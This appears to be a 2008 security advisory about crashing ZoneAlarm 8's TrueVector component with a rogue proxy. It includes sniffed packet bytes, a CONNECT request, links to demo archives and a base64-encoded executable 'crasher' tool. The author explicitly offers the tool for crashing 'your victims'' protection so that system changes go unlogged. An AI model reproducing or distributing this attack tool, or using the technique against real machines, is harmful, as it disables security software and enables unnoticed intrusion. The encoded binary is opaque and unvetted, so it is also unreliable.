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securityvulnsSecurityvulnsSECURITYVULNS:DOC:20625
HistorySep 30, 2008 - 12:00 a.m.

Crashing ZoneAlarm 8.0.020.000 by Checkpoint (Component : TrueVector)

2008-09-3000:00:00
vulners.com
27

Crashing ZoneAlarm 8.0.020.000 by Checkpoint (Component : TrueVector)

Sniffed Output :

00000000 17 24 0A 20 00 1A A9 D8 81 88 13 80 00 00 00 00 .$. …

00000010 00 01 00 00 00 0F 00 00 00 00 00 00 00 00 00 00 …

00000020 00 00 00 00 00 …

CONNECT 208.185.174.65:443 HTTP/1.0
Host: 208.185.174.65:443
Proxy-Connection: Keep-Alive
Accept-Encoding: gzip
Accept: /
Content-Type: text/plain
User-Agent: ZoneAlarm/8.0.020.000 (oem-1025; en-US) ZSP/2.2

  • ZoneAlarm 8's TrueVector Component crashes with a message box, minidump file in Temp and on closing
    the message box, it restarts after a few moments

  • ZoneAlarm leaves the system unprotected (HIDS module alone) till the time TrueVector component is
    back.

  • Demonstration Video links :

http://www.fileden.com/files/2008/9/18/2104312/rogue_proxy_without_za8_running.rar

http://www.fileden.com/files/2008/9/18/2104312/rogue_proxy_crashing_za8issuite.rar

ZoneAlarm 8 Internet Security Suite Crasher (Rogue Proxy)crashes ZA8 on IE 6 WIndows XP SP3.

Can be used to used as a rogue proxy (3128,8080,etc.) to crash your victims' ZA HIDS component for a
few moments rendering your victim vulnerable to unnoticed, unlogged system changes.

[ Not tested with other browsers. Might work on IE7,8 and others. Seems to be a Browser Independent
bug ]

za_crasher_proxy.b64 (Base64 Encoded File)

UmFyIRoHAM+QcwAADQAAAAAAAAAEAXQgkDkAJhUAANtQAAACjYBgHzJoNjkdNRQA
IAAAAHphX2NyYXNoZXJfcHJveHkuZXhlAPBqwGEQIhEVDI0PxYAf26tQagQLejRB
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CPiThQJ1D7iq5N0SNMG+aGHRMnDpkJ1dxKZOY4252jRUo5tcQfU4KVl5uiW/BXnv
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Discovered on 9:48 PM 9/8/2008

– QUAKERDOOMER